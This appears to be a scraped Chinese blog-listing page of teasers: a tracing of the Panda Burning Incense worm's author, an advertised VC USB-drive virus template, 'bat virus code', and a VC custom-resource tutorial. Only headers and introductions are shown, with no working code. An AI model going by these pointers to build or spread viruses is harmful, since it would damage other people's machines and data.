熊猫烧香来源追查,从病毒行为中揭开冰山一角
Whboy(武汉男生)在98时代是很有名的国内病毒制造者,和广外女生相对,后来和同时代人销声匿迹.最近又有多个病毒流氓都代码里写着WhBOY,包括大名鼎鼎的熊猫烧香,流氓软件51VC,以及一些QQ/传奇密码盗窃木马,这些木马的代码、传播/爆发手法都极为相似,应该是同一人所为,但是不是早年的武汉男生,还很难说.我们把视线移到一个不起眼的站点上,在这里,我们可以找到一些答案...VC域名是国家顶级域
VC U盘病毒模版
当然不是我写的,但会仿写: // MyVirus2.cpp : Defines the entry point for the application. // // MyVirus1.cpp : Defines the entry point for the application. // // WindowsXP2.cpp : Defines the entry point
c语言计算机病毒程序代码,bat电脑病毒代码
病毒来自于一次偶然的事件,那时的研究人员为了计算出当时互联网的在线人数,然而它却自己“繁殖”了起来导致了整个服务器的崩溃和堵塞,有时一次突发的停电和偶然的错误.下面是学习啦小编收集整理的bat电脑病毒代码,希望对大家有帮助~~bat电脑病毒代码rem (注:原来站长我在读职高时,就用这一招来对付在上机时总是喜欢删别人文件(放在我自己所建目录下面的程序文件,这可是我辛辛苦苦用手敲打键盘搞出来的呀!)...
VC中自定义资源的使用 FindResource
一、前言 在VC环境中除了我们所常用的Dialog、Menu和Bitmap等标准资源类型之外,它还支持自定义资源类型(Custom Resource),我们自定义的资源 类型能做些什么呢?呵呵,用处多多。 1. 默认的皮肤压缩包或语言包。一些支持换肤的软件特别是一些媒体播放器常常有自定义的皮肤文件(你可以尝试将Media Player或千千静听 等软件的Skins目录下的文件
1万+



被折叠的 条评论
为什么被折叠?



